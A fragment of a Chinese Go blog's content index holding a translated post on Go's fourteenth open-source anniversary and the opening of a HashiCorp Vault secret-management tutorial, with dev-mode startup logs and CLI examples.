href=\"https://tonybai.com/2023/05/28/understand-time-series-of-tsdb/\"\u003e时序数据\u003c/a\u003e库，以Neo4J、Dgraph为代表的图数据库，以Redis、Memcached等为代表的内存数据库，以Milvus为代表的向量数据库，以CockroachDB、TiDB为代表的HTAP融合数据库以及云原生数据库等。各类型数据库都有自己的优势，开发者可以根据应用场景选择最合适的数据库。\u003c/p\u003e","title":"关系代数、SQL语句和Go语言示例"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/11/go-opensource-14-years\n国内的双十一购物狂欢已没有了当年的那种热闹与喧嚣，但大洋彼岸的Go团队却始终保持稳中有增的开发和语言演进节奏。今晨Go核心团队的Russ Cox代表Go语言项目团队在Go官博上发表了《Fourteen Years of Go》的博文，纪念Go语言开源14周年，并对2023年以来Go语言的演进进行了归纳总结，并对Go在其第15个年头将要做的改进给予了很高的期望。这里对博文做简单翻译，供大家参考。\n今天，我们欢庆Go语言开源发布十四周年！Go在过去一年中取得了巨大的进步，发布了两个功能特性丰富的版本，并达成了其他一些重要的里程碑。\n我们在2月发布了Go 1.20，在8月发布了Go 1.21，在这两个版本中，我们更多地关注实现改进而不是新语言特性。\n我们在Go 1.20版本中发布了Profile-guided optimization(PGO)功能的预览版，并在Go 1.21中正式发布了该功能，它允许Go编译器读取程序的Profile，然后花更多时间对程序中运行最频繁的部分进行优化。在Go 1.21中，启用PGO后，工作负载的CPU使用率通常可以提高2%到7%。关于PGO的介绍请参阅“Go 1.21中的Profile-guided optimization”，对PGO的全面说明请参阅“PGO用户指南”。\nGo从Go 1.2版本开始就支持在go test期间收集覆盖率profile数据。Go 1.20版本增加了对go build构建的二进制文件收集测试覆盖率profile数据的支持，这样你就可以在集成测试期间收集测试覆盖率数据，详情请参阅“Go集成测试的代码覆盖率”。\n兼容性一直是Go的重要组成部分，我们最初对兼容性的承诺始于“Go 1和Go程序的未来”这篇文章。针对那些可能会给现有程序造成破坏但又必须要修正的重要错误，Go 1.21版本通过扩展GODEBUG的约定用法进一步改进了兼容性。请参阅博文“后向兼容性，Go 1.21和Go 2”了解概况，详情请参阅文档“Go、后向兼容性和GODEBUG”。\nGo 1.21还发布了对内置工具链管理的支持，允许你像改变其他依赖的版本一样轻松地改变特定模块(module)中使用的Go工具链版本。请参阅博文“Go 1.21中的向前兼容性和工具链管理”，更多详情请参阅文档“Go工具链”。\n另一个在工具链方面的重要成就是将磁盘索引集成到gopls(Go语言服务器)。这将gopls的启动延迟和内存使用缩短了3-5倍。“扩展gopls以适应不断增长的Go生态系统”一文解释了其中的技术细节。你可以通过运行以下命令确保运行最新的gopls:\n$go install golang.org/x/tools/gopls@latest Go 1.21引入了新的cmp、maps和slices包 —— Go的第一个泛型标准库 —— 以及扩展了可比较类型(comparable)的集合。详情请参阅博文“所有可比较的类型”。\n总体而言，我们继续完善泛型，并通过会议演讲和撰写博文来解释重要细节。今年两篇值得关注的博文是“分解类型参数”和“关于类型推断你一直想知道的事情 —— 以及更多”。\nGo 1.21中另一个重要的新包是log/slog，它为标准库添加了结构化日志的官方API。请参阅“使用slog实现结构化日志”了解概况。\n在对WebAssembly(Wasm)的移植方面，Go 1.21增加了在WebAssembly System Interface(WASI) preview1版本上运行的支持。WASI preview1是一种新的“操作系统”接口，支持大多数服务器端的Wasm环境。详情请参阅“Go对WASI的支持”一文。\n在安全方面，我们将继续确保Go在帮助开发人员了解其依赖关系和漏洞方面处于领先地位，7月发布的Govulncheck 1.0正是这样的例子。如果你使用VS Code，可以通过Go扩展直接在编辑器中运行govulncheck。请参阅govulncheck IDE教程了解如何开始使用govulncheck。如果你使用GitHub，可以使用GitHub Action for govulncheck将运行govulncheck作为CI/CD流程的一部分。有关检查依赖项漏洞问题的更多信息，请参阅今年的Google I/O大会的演讲“使用Go和Google构建更安全的应用程序”。\n另一个重要的安全里程碑是Go 1.21的高度可重现的工具链构建。详情请参阅“完全可重现的经验证的Go工具链”，包括在没有使用任何Linux工具的情况下在Mac上重现Ubuntu Linux Go工具链的演示。\n这是非常繁忙的一年!\n在Go的第15个年头，我们将继续努力使Go成为最佳的大规模软件工程环境。我们特别兴奋的一个变化是重新定义for循环中”:=”的语义，以消除意外别名bug的可能性。详情请参阅“在Go 1.22中修复For循环”，其中包括在Go 1.21中对此更改的预览版的说明。\n感谢!\nGo项目一直远不止我们在Google的Go小组。感谢所有贡献者和Go社区中的每一个人，使得今天的Go成为可能。我们衷心祝愿大家在未来一年中一切顺利。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/11/11/go-opensource-14-years/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-opensource-14-years-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/11/11/go-opensource-14-years\"\u003ehttps://tonybai.com/2023/11/11/go-opensource-14-years\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e国内的双十一购物狂欢已没有了当年的那种热闹与喧嚣，但大洋彼岸的Go团队却始终保持稳中有增的开发和语言演进节奏。今晨Go核心团队的\u003ca href=\"https://swtch.com/~rsc/\"\u003eRuss Cox\u003c/a\u003e代表Go语言项目团队在Go官博上发表了\u003ca href=\"https://go.dev/blog/14years\"\u003e《Fourteen Years of Go》\u003c/a\u003e的博文，纪念\u003ca href=\"https://opensource.googleblog.com/2009/11/hey-ho-lets-go.html\"\u003eGo语言开源14周年\u003c/a\u003e，并对2023年以来Go语言的演进进行了归纳总结，并对Go在其第15个年头将要做的改进给予了很高的期望。这里对博文做简单翻译，供大家参考。\u003c/p\u003e","title":"Go，14周年[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2023/11/08/understand-go-web-secret-management-by-example\n如果你是一个Web应用系统的开发人员，你的日常大概率是“乐此不疲”地做着CRUD的活儿，很少接触到安全方面的内容。如果这时有人和你提到“机密(信息)管理(secret management)”，你大概率会说：那是啥？和我有关系吗？\n你只是大多应用系统开发人员中的一个典型代表。现阶段，很多开发人员，尤其是业务应用开发人员在工作中较少甚至没有接触过专门的机密管理系统，在系统设计时也较少考虑到机密管理方面的要求，精力仍主要集中在保证系统功能的正确性、性能等方面。这种对安全的重视程度不够，不了解机密管理的现象较为普遍，下面是一些常见的表现：\n明文存储密码、密钥等敏感数据 很多项目依然直接将用户密码、数据库连接密码、第三方服务密钥等信息明文写在代码或配置文件中，存在被攻击者直接获取的风险。\n硬编码密钥与密码 重复地在代码中多次硬编码密码、密钥等机密信息，导致不能统一变更及管理。\n使用弱密码、未定期更换 使用常见的弱密码，或使用默认或长期不变更的密码，很容易被猜测或破解。\n不同环境复用同一密钥 开发、测试、生产环境复用同一密钥，一旦泄露将影响所有环境。\n明文传输密码 HTTP传输中明文传递密码，导致可被嗅探截获。\n日志中输出明文密码 调试日志中直接输出数据库密码等敏感信息，可能被利用。\n缺乏访问控制和审计机制 密钥等资源无访问控制，且操作不被审计，难以追踪。\n这些现象的普遍存在表明当前对于机密管理的重要性认知还有待提高，尤其是在当前互联网/移动互联网安全形势日益严峻的情况下，开发人员在系统开发的每个环节都应该意识到机密管理的重要性，并将机密管理纳入开发流程的各个阶段，这可以帮助大家构建出更可靠、安全的系统。\n在这篇文章中，我就和大家一起来了解一下什么是机密管理，日常进行Web应用开发过程中该如何集成机密管理来保证机密信息在存储、传输、使用过程中的安全，最后，通过实例的方式来剖析Web应用是如何对一些典型的机密信息进行机密管理的。\n1. 认识机密管理 在IT领域，机密管理是一种网络安全最佳实践，用于持续地、自动化地管理和保护数字身份验证凭证(如密码、密钥、API令牌等机密信息)，确保这些机密信息只能被经过授权的实体在严格的访问控制下使用。\n机密管理拥有一套自己的核心管理措施，包括：\n从代码、配置文件和其他未经受保护的区域中删除明文机密信息，将机密信息与代码/配置隔离存储; 执行最小特权(Least Privilege)原则，即设计访问控制时，用户和程序只会被授予执行其任务所需的最小/最低权限； 执行严格的访问控制(尤其是要对所有非人类凭证的访问请求进行验证)，并对所有访问进行跟踪和全面审计； 定期对机密信息(secrets)和凭证(credentials)进行轮转(rotate)； 自动管理机密信息的全生命周期，例如存储、分发、轮转等，并应用一致的访问策略； … … 机密管理涉及要管理的机密信息的类型包括(但不限于)：\n用户密码或自动生成的密码 API和其他应用程序的密钥(Key)/凭证（包括容器内的密钥/凭证） SSH密钥 数据库和其他system-to-system的密码 用于安全通信、传输和接收数据的私人证书（TLS、SSL 等） RSA和其他一次性密码设备 综合上面信息，我们看到机密管理不仅有一套严格的管理措施，而且要管理的机密信息的类型也是很多，并且随着软件系统复杂性的增加，云原生应用兴起，需要管理的机密类型和数量激增，不仅包括传统的密码和密钥，还有云平台的访问证书、微服务间的通信令牌等；管理难度也会大大提高。远程访问和云部署使得传统的边界安全防护变得困难。机密信息传输和存储的渠道更多，风险也上升。高速迭代的软件交付流程和自动化部署，也要求机密管理能同步地快速响应和自动化，机密管理面临着越来越大的挑战。面对这些挑战，业界迫切需要引入自动化、智能化和专业化的机密管理系统来应对。\n2. 机密管理系统 机密管理系统是一套专业的用于集中存储、管理、控制和监控机密信息的安全解决方案。机密管理系统的发展经历了一个从分散到集中、从静态到动态、从本地到云端、从加密到访问控制、从人工操作到DevOps自动集成的发展历程，这个历程大致可分为如下几个阶段：\n文件加密阶段 早期开发人员通过对文档和配置文件进行加密来保护机密信息，代表技术是PGP等加密软件。但很显然，这种方式操作不便，不支持访问控制等高级功能。\n自建解决方案阶段 企业开始自研一些机密管理解决方案(包括基于一些像KeePass这样的开源项目)，但功能有限，更多是局限于满足企业自己的需求，很少支持跨平台和集中管理等功能。\n开源机密管理项目 随着云计算时代的到来，开源社区推出了支持云和容器的自动化机密管理项目，例如：Vault、Keywhiz等，这些项目的一些公同的功能特性包括：轻量化实现、支持访问控制、提供机密信息版本控制、提供审计功能、提供API便于应用集成、支持与 CI/CD 工具集成、支持Docker、Kubernetes等容器平台等。这一时期的开源机密管理系统大大简化了机密管理流程，为随后的云原生机密管理平台的发展奠定了基础。\n注：Keywhiz目前2023年9月宣布不再开发，建议使用Hashicorp Vault。\n云原生机密管理平台 在开源机密管理项目的基础之上，这些开源项目背后的开发商以及一些专业的公有云提供商开始面向云原生应用和DevOps，以SaaS形式提供专业的机密管理服务和全面的机密管理解决方案，如Azure Key Vault、Google Secret Manager、AWS Secrets Manager、HashiCorp Vault等。\n我们看到：专业的机密系统发展到今天的水平，其过程不是一蹴而就的。正是基于历史经验的积累和总结，现代机密管理平台才演化出了面向云原生架构、支持DevOps、细粒度访问控制、机密信息的动态化以及生命周期的自动化管理等先进功能特性。\n在上面的优秀的云原生机密管理系统中，HashiCorp Vault是唯一开源且可以私有化部署在企业内部的。HashiCorp公司于2015年发布并开源了Vault，经过多年发展，Vault已经发展成为一款功能强大的企业级机密管理系统，并被广泛视为云原生领域的首选解决方案。\n对于普通Web应用开发者而言，既要有机密管理的意识，又要有机密管理的实现手段。HashiCorp Vault的设计目标之一就是将机密管理下沉到平台层面，让应用开发者能够专注于应用程序的开发而无需过多关注机密的管理和保护。\n作为Web应用开发者，基于Vault实现Web应用的机密管理是一条非常可行的机密管理方案。通过与Vault的集成，Web应用开发者可以利用Vault提供的丰富功能来处理各种机密管理需求和场景。开发者只需要学习如何使用Vault的API或客户端库与Vault进行交互，就能轻松地访问和管理机密数据，实现机密信息(如数据库凭据、API 密钥等)获取、动态机密信息生成、访问控制、审计和监控等机密管理功能，并且可以减少机密管理的开发和维护的复杂性。\n接下来，我就和大家一起简要的了解一下Hashicorp的Vault。\n3. 认识Vault 3.1 Vault的架构 如果对Hashicorp这家公司很熟悉，你肯定知道Hashicorp大部分产品(和开源项目)都是由Go开发的，包括consul、nomad、terraform以及vagrant(vagrant的新版本将切换到go实现)等。\nVault这款优秀的机密管理软件系统继承了Hashicorp的开发基因，也是由Go语言开发的。从2015年至今，Vault已经演化为一个功能强大，但相对也比较复杂的系统，下面是Hashicorp官方架构文档中的一个关于Vault的high level的结构示意图：\n从整体架构设计思路来看，vault支持：\n高可用性 Vault的架构设计允许部署多个Vault服务器以实现高可用性和容错性，在高可用集群部署模式下，多个vault服务器共享存储后端，并且每个vault服务器可能是两个状态：active和standby。任意时刻集群都只有一个实例处于active状态，所有standby实例都处于热备用状态(hot standby)。只有处于active状态的服务器会处理所有请求；standby服务器会将所有请求重定向到活动Vault服务器，这点与consul的设计是一致的。如果active服务器被sealed、发生故障或失去网络连接，则standby Vault服务器中的一个将成为active实例。\n这里有人可能会问：如果只有一个active实例，那么在访问量增大的时候，active实例便会成为热点或性能瓶颈！没错，这是vault开源版本的约束。这个约束在vault的企业付费版中被取消，在付费版中，standby服务器可以接收只读请求，所有只读请求会均衡分担到各个standby实例上，如果standby实例收到写请求，它会将写请求转发给active实例处理。\n封存和解封 说高可用性时，我们提到了vault服务器实例的sealed(封存)状态。启动Vault服务器时，它会处于sealed状态。在这种状态下，Vault仅知道访问物理存储的位置和方式，但不知道如何解密存储中数据。在unseal(解封)之前，该vault服务器几乎无法做任何操作。在对处于sealed状态的Vault实例进行任何操作之前，必须对其进行解封(unseal)。\n解封操作需要提供解封密钥(unseal keys)。有人注意到了，我用了unseal keys，而不是unseal key，因为解封密钥是由一种名为Shamir’s Secret Sharing的算法分解保存和汇集生成的。Shamir’s Secret Sharing（Shamir的机密分享算法）是一种密码学算法，用于将机密数据(在本文中指的就是“unseal key”)分割成多个部分，称为shares。这些share可以被分发给不同的人，如下图所示：\n而只有当足够数量的share被汇集时，才能恢复出原始的机密数据(unseal key)，并用恢复出的机密数据进行下一步操作(如下图所示，下图来自Hashicorp官方文档)：\n在这幅图中，当汇集一定个数的unseal keys’share后，vault就能够重构解封密钥(“unseal key”)，然后用它来解密得到根密钥(root key，也称为master key)，根密钥再被用来解密得到加密密钥(Encryption key)用于保护所有vault的数据，即这个Encryption key就是后续参与机密数据加解密的密钥。\n注：实际生产部署时，究竟要如何对Vault Server进行unseal，HashiCorp提供了一些unseal pattern供大家参考。\n加密层 前面架构图中左侧南北横贯多层的部分是Vault的加密层，被称为barrier，负责对Vault数据进行加密和解密，确保数据在存储和传输过程中的机密性和完整性。Vault服务器启动时，会将数据写入存储后端。由于存储后端位于barrier之外，被视为不可信的(与零信任网络理念一致)，因此Vault会在将数据发送到存储后端之前对其进行加密。这种机制确保了即便恶意攻击者试获取了对存储后端的访问权限，其拿到的数据仍然保持加密状态。\n认证和授权 如下图(来自Hashicorp官方文档)，当客户端首次连接到Vault时，需要进行身份验证。Vault提供可配置的认证方法，并在身份验证机制上提供灵活性。操作员可以使用用户名/密码等机制进行身份验证，而应用程序可以使用公钥/私钥或令牌进行身份验证。 Core（核心）负责管理请求的流程，包括流经哪个身份验证方法来确定请求是否有效，并得到关联策略的列表，执行访问控制规则（ACLs），确保审计日志记录，并将请求路由到相应的机密引擎进行处理。\n策略管理 策略是一组命名的访问控制规则。Vault内置了一些策略，如”root”策略，允许对所有资源的访问。用户可以创建任意数量的命名策略，并对路径进行细粒度的控制。除非通过策略明确授权，否则不允许进行操作。\n机密引擎 Vault使用机密引擎来生成和管理动态机密数据，如临时凭据、API密钥等。机密引擎的类型可以是静态的，如数据库凭据，也可以是动态的，如 AWS IAM凭据。机密引擎根据配置的规则和策略生成和提供机密数据。\n审计和日志记录 Vault记录请求和响应的审计日志，并有Audit Broker(审计代理)将其分发到配置的审计设备(audit device)。审计日志用于监控和审计对Vault的访问和操作。\nExpiration Manager（租期管理） Vault由Expiration Mgr管理令牌和机密数据的过期，自动回收已过期的客户端令牌和机密数据。\nToken Store（令牌存储） Token Store生成和管理客户端令牌，用于进行后续的请求操作。令牌类似于网站登录时发送的 cookie，用于验证客户端的身份和授权。\n以上是Vault的主要架构设计思路和各部分的功能范围。Vault的架构保证了安全性、高可用性和可扩展性，使用户能够安全地管理和保护机密信息。\n3.2 Vault的安全模型 Vault是做机密信息管理的，其自身安全模型是否完善直接关系到应用系统的安全。Vault官方也十分重视这点，在官方文档中也对其安全模型做了说明，这里梳理一下。\nVault的安全模型旨在提供数据的机密性、完整性、可用性、可追溯性和认证性。以下是Vault安全模型的几个设计要点：\n通信安全 Vault要求客户端与服务器之间的通信通过TLS建立安全通道，以确保通信的机密性和完整性。此外，Vault服务器之间的集群通信也使用相互认证的TLS，以保护数据在传输过程中的机密性和完整性。\n身份验证和授权 前面说架构时提及过：所有客户端请求必须经过适当的身份验证和授权。当客户端首次进行身份验证时，Vault使用认证方法验证客户端的身份，并返回与其关联的ACL策略列表。每个请求都需要提供有效的客户端令牌，Vault根据令牌验证其有效性，并生成基于关联策略的访问控制列表（ACL）。\n数据安全 Vault对于存储在后端的数据，以及在传输过程中的数据，都要求保证安全。Vault使用256位的高级加密标准（AES）密码和96位随机数作为加密密钥，对离开Vault的所有数据进行加密。同时，在解密过程中验证Galios Counter Mode（GCM）的认证标签，以检测任何篡改。\n内部威胁保护 Vault关注内部攻击威胁，即已经获得某种程度Vault访问权限的攻击者企图获取未经授权的机密信息。Vault在客户端进行身份验证时，使用事先配置的关联策略列表来生成客户端令牌，并使用严格的默认拒绝策略来进行访问控制。每个策略指定对Vault中路径的访问级别，最终的访问权限由所有关联策略中最高级别的权限决定。\n密钥管理 Vault使用Shamir’s Secret Sharing技术来实现密钥的管理和保护unseal key，本质上也是对Root key和Encryption key的保护。只有在提供足够数量的share时，才能恢复unseal密钥，这样可以避免对单个持有者的绝对信任，同时也不需要存储完整的加密密钥。\n但需要注意的是，Vault的安全模型并不涵盖所有可能的威胁和攻击，例如对存储后端的完全控制、存储后端中存在的秘密信息的泄露、运行中的Vault实例内存分析等。此外，Vault还依赖于外部系统或服务的安全性，如果这些外部系统存在漏洞或受到攻击，可能会导致Vault中数据的机密性或完整性受到威胁。\n说了这么多Vault，Vault究竟长什么样？应该如何用呢？接下来我们简单介绍一下Vault的安装和使用，也是为后续的实例部分做个铺垫。\n3.3 Vault的安装 Vault支持多种形式的安装部署，包括基于预编译好的二进制文件(precompiled binary)、基于容器或包管理器等，你甚至可以自己基于源码编译。\n我这里使用的是Precompiled binary方式，将Vault直接部署在我的开发环境下，一台MacBook Pro上。\nPrecompiled binary下载后就是一个可执行文件，把它放到特定路径下，并在PATH环境变量中将这个路径加入进来，环境变量生效后，你就可以在任意路径下使用vault命令了。\n下面的命令打印了下载的vault的版本：\n$vault -v Vault v1.15.1 (b94e275f25ccd9011146d14c00ea9e49fd5032dc), built 2023-10-20T19:16:11Z 通过-h命令行参数，可以查看vault的命令帮助信息：\n$vault -h Usage: vault \u0026lt;command\u0026gt; [args] Common commands: read Read data and retrieves secrets write Write data, configuration, and secrets delete Delete secrets and configuration list List data or secrets login Authenticate locally agent Start a Vault agent server Start a Vault server status Print seal and HA status unwrap Unwrap a wrapped secret Other commands: audit Interact with audit devices auth Interact with auth methods debug Runs the debug command events kv Interact with Vault's Key-Value storage lease Interact with leases monitor Stream log messages from a Vault server namespace Interact with namespaces operator Perform operator-specific tasks patch Patch data, configuration, and secrets path-help Retrieve API help for paths pki Interact with Vault's PKI Secrets Engine plugin Interact with Vault plugins and catalog policy Interact with policies print Prints runtime configurations proxy Start a Vault Proxy secrets Interact with secrets engines ssh Initiate an SSH session token Interact with tokens transform Interact with Vault's Transform Secrets Engine transit Interact with Vault's Transit Secrets Engine version-history Prints the version history of the target Vault server 注：Vault继承了Hashicorp产品的一贯风格，即将所有功能放到一个程序中，各个功能通过subcommand的形式提供，比如vault server、vault agent、vault proxy等。如果你了解consul，你会发现consul就是这样的。\n3.4 Vault的启动(dev模式) 生产环境的Vault部署、配置、启动以及unseal过程还是蛮复杂的，HashiCorp给了一些参考集群架构，这些可以交给运维同学去琢磨。\n对于开发人员而言，日常将应用与Vault集成实现机密管理的时候，只需在本机或远程开发机上启动dev模式的Vault实例即可，这里我们也基于dev模式来启动一个单实例的Vault：\n$vault server -dev ==\u0026gt; Vault server configuration: Administrative Namespace: Api Address: http://127.0.0.1:8200 Cgo: disabled Cluster Address: https://127.0.0.1:8201 Environment Variables: Apple_PubSub_Socket_Render, CLASSPATH, CLISH_PATH, ETCDCTL_API, GITEA_WORK_DIR, GODEBUG, GONOPROXY, GONOSUMDB, GOPATH, GOPRIVATE, GOPROXY, GOROOT, GOSUMDB, HOME, HOMEBREW_BOTTLE_DOMAIN, LANG, LC_CTYPE, LESS, LOGNAME, LSCOLORS, MML_HOME, NVM_BIN, NVM_CD_FLAGS, NVM_DIR, OLDPWD, OPENCV_PATH, PAGER, PATH, PWD, PYTHONPATH, RUSTUP_DIST_SERVER, RUSTUP_UPDATE_ROOT, SHELL, SHLVL, SSH_AUTH_SOCK, TERM, TERM_PROGRAM, TERM_PROGRAM_VERSION, TERM_SESSION_ID, TMPDIR, USER, XPC_FLAGS, XPC_SERVICE_NAME, ZSH, _ Go Version: go1.21.3 Listener 1: tcp (addr: \u0026quot;127.0.0.1:8200\u0026quot;, cluster address: \u0026quot;127.0.0.1:8201\u0026quot;, max_request_duration: \u0026quot;1m30s\u0026quot;, max_request_size: \u0026quot;33554432\u0026quot;, tls: \u0026quot;disabled\u0026quot;) Log Level: Mlock: supported: false, enabled: false Recovery Mode: false Storage: inmem Version: Vault v1.15.1, built 2023-10-20T19:16:11Z Version Sha: b94e275f25ccd9011146d14c00ea9e49fd5032dc ==\u0026gt; Vault server started! Log data will stream in below: 2023-11-06T10:25:37.723+0800 [INFO] proxy environment: http_proxy=\u0026quot;\u0026quot; https_proxy=\u0026quot;\u0026quot; no_proxy=\u0026quot;\u0026quot; 2023-11-06T10:25:37.727+0800 [INFO] incrementing seal generation: generation=1 2023-11-06T10:25:37.727+0800 [WARN] no `api_addr` value specified in config or in VAULT_API_ADDR; falling back to detection if possible, but this value should be manually set 2023-11-06T10:25:37.733+0800 [INFO] core: Initializing version history cache for core 2023-11-06T10:25:37.734+0800 [INFO] events: Starting event system 2023-11-06T10:25:37.736+0800 [INFO] core: security barrier not initialized 2023-11-06T10:25:37.737+0800 [INFO] core: security barrier initialized: stored=1 shares=1 threshold=1 2023-11-06T10:25:37.744+0800 [INFO] core: post-unseal setup starting 2023-11-06T10:25:37.758+0800 [INFO] core: loaded wrapping token key 2023-11-06T10:25:37.758+0800 [INFO] core: successfully setup plugin runtime catalog 2023-11-06T10:25:37.758+0800 [INFO] core: successfully setup plugin catalog: plugin-directory=\u0026quot;\u0026quot; 2023-11-06T10:25:37.760+0800 [INFO] core: no mounts; adding default mount table 2023-11-06T10:25:37.765+0800 [INFO] core: successfully mounted: type=cubbyhole version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=cubbyhole/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T10:25:37.774+0800 [INFO] core: successfully mounted: type=system version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=sys/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T10:25:37.777+0800 [INFO] core: successfully mounted: type=identity version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=identity/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T10:25:37.783+0800 [INFO] core: successfully mounted: type=token version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=token/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T10:25:37.785+0800 [INFO] rollback: Starting the rollback manager with 256 workers 2023-11-06T10:25:37.787+0800 [INFO] rollback: starting rollback manager 2023-11-06T10:25:37.789+0800 [INFO] core: restoring leases 2023-11-06T10:25:37.791+0800 [INFO] identity: entities restored 2023-11-06T10:25:37.791+0800 [INFO] identity: groups restored 2023-11-06T10:25:37.791+0800 [INFO] expiration: lease restore complete 2023-11-06T10:25:37.793+0800 [INFO] core: Recorded vault version: vault version=1.15.1 upgrade time=\u0026quot;2023-11-06 02:25:37.793171 +0000 UTC\u0026quot; build date=2023-10-20T19:16:11Z 2023-11-06T22:25:38.367+0800 [INFO] core: post-unseal setup complete 2023-11-06T22:25:38.368+0800 [INFO] core: root token generated 2023-11-06T22:25:38.368+0800 [INFO] core: pre-seal teardown starting 2023-11-06T22:25:38.369+0800 [INFO] rollback: stopping rollback manager 2023-11-06T22:25:38.369+0800 [INFO] core: pre-seal teardown complete 2023-11-06T22:25:38.370+0800 [INFO] core.cluster-listener.tcp: starting listener: listener_address=127.0.0.1:8201 2023-11-06T22:25:38.370+0800 [INFO] core.cluster-listener: serving cluster requests: cluster_listen_address=127.0.0.1:8201 2023-11-06T22:25:38.371+0800 [INFO] core: post-unseal setup starting 2023-11-06T22:25:38.371+0800 [INFO] core: loaded wrapping token key 2023-11-06T22:25:38.371+0800 [INFO] core: successfully setup plugin runtime catalog 2023-11-06T22:25:38.371+0800 [INFO] core: successfully setup plugin catalog: plugin-directory=\u0026quot;\u0026quot; 2023-11-06T22:25:38.372+0800 [INFO] core: successfully mounted: type=system version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=sys/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T22:25:38.372+0800 [INFO] core: successfully mounted: type=identity version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=identity/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T22:25:38.372+0800 [INFO] core: successfully mounted: type=cubbyhole version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=cubbyhole/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T22:25:38.373+0800 [INFO] core: successfully mounted: type=token version=\u0026quot;v1.15.1+builtin.vault\u0026quot; path=token/ namespace=\u0026quot;ID: root. Path: \u0026quot; 2023-11-06T22:25:38.373+0800 [INFO] rollback: Starting the rollback manager with 256 workers 2023-11-06T22:25:38.373+0800 [INFO] rollback: starting rollback manager 2023-11-06T22:25:38.374+0800 [INFO] core: restoring leases 2023-11-06T22:25:38.374+0800 [INFO] expiration: lease restore complete 2023-11-06T22:25:38.374+0800 [INFO] identity: entities restored 2023-11-06T22:25:38.374+0800 [INFO] identity: groups restored 2023-11-06T22:25:38.374+0800 [INFO] core: post-unseal setup complete 2023-11-06T22:25:38.374+0800 [INFO] core: vault is unsealed 2023-11-06T22:25:38.386+0800 [INFO] core: successful mount: namespace=\u0026quot;\u0026quot; path=secret/ type=kv version=\u0026quot;\u0026quot; WARNING! dev mode is enabled! In this mode, Vault runs entirely in-memory and starts unsealed with a single unseal key. The root token is already authenticated to the CLI, so you can immediately begin using Vault. You may need to set the following environment variables: $ export VAULT_ADDR='http://127.0.0.1:8200' The unseal key and root token are displayed below in case you want to seal/unseal the Vault or re-authenticate. Unseal Key: KiF1ohtchsOjr4IvzHY38/OAPOqS1/rARczTFG6Ull8= Root Token: hvs.9QOJsa7zlwHO8ieW15CXXoOp Development mode should NOT be used in production installations! 我们看到dev模式下，Vault server是自动unseal的，并打印出了Unseal Key和Root Token，而且显式地告诉你：所有机密数据都是存储在内存中的，不要将这个模式用于生产环境。\n前面说过，vault程序继承了Hashicorp产品的基因，它既可以用来启动server，其自身也是一个命令行程序，我们可以用vault命令查看启动的server的状态：\n$vault status Error checking seal status: Get \u0026quot;https://127.0.0.1:8200/v1/sys/seal-status\u0026quot;: http: server gave HTTP response to HTTPS client 我们看到：获取vault server状态的命令执行失败，因为我们并没有开启vault server的https端口，仅使用了http端口。我们设置一下环境变量后，再执行status命令：\n$export VAULT_ADDR='http://127.0.0.1:8200' // 设置vault server addr为http非安全方式 $vault status Key Value --- ----- Seal Type shamir Initialized true Sealed false Total Shares 1 Threshold 1 Version 1.15.1 Build Date 2023-10-20T19:16:11Z Storage Type inmem Cluster Name vault-cluster-23f54192 Cluster ID a86c14e2-b88c-5391-e8b4-0b1b9e9a9aaf HA Enabled false 接下来，我们试着向Vault写入一个机密信息。Vault支持多种secret engine，比如：Key/Value secrets engine、Versioned Key/value secrets engine(k/v引擎的v2版本)、LDAP secrets engine、Azure secrets engine等，其中K/V引擎以及带版本的K/V引擎是最常用的。\n注：Vault还支持开发者自定义secret engine。\n我们尝试使用kv子命令向vault中写入一个key/value，放到secret路径下(在dev模式下，secret路径下自动开启v2版本引擎)，key为hello，值为foo=world：\n$vault kv put -mount=secret hello foo=world Error making API request. URL: GET http://127.0.0.1:8200/v1/sys/internal/ui/mounts/secret Code: 403. Errors: * permission denied 我们看到命令执行失败，提示没有权限。vault server要求每个访问请求都必须带上token，我们可以使用vault server启动时打印的root token，可以使用环境变量的方式将token注入：\nexport VAULT_TOKEN=\u0026quot;hvs.9QOJsa7zlwHO8ieW15CXXoOp\u0026quot; 也可以执行下面命令并输入root token完成登录：\n$vault login Token (will be hidden): Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run \u0026quot;vault login\u0026quot; again. Future Vault requests will automatically use this token. Key Value 